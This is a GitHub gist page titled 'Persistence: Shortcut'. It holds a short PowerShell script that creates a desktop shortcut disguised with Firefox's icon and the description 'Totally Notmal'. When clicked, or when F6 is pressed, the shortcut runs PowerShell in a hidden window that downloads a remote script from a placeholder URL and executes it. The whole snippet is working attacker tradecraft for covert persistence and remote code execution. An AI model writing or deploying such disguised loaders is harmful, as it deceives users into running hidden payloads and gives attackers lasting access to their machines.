Skip to content

Instantly share code, notes, and snippets.

@aniqfakhrul
Created June 12, 2021 16:17
Show Gist options
  • Save aniqfakhrul/9bfda024a35cfe2d0ad57e8f788c037c to your computer and use it in GitHub Desktop.
Save aniqfakhrul/9bfda024a35cfe2d0ad57e8f788c037c to your computer and use it in GitHub Desktop.
Persistence: Shortcut
$WshShell = New-Object -ComObject WScript.Shell
$shortcut = $WshShell.CreateShortcut("C:\Users\REUSER\Desktop\firefoxx.lnk")
$shortcut.TargetPath = "powershell.exe"
$shortcut.Description = "Totally Notmal"
$shortcut.HotKey = "F6"
$shortcut.IconLocation = "C:\Program Files\Mozilla Firefox\firefox.exe"
$shortcut.Arguments = "-windowstyle hidden iex(iwr -usebasicparsing http://example.com/notmal.ps1)"
$shortcut.save()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment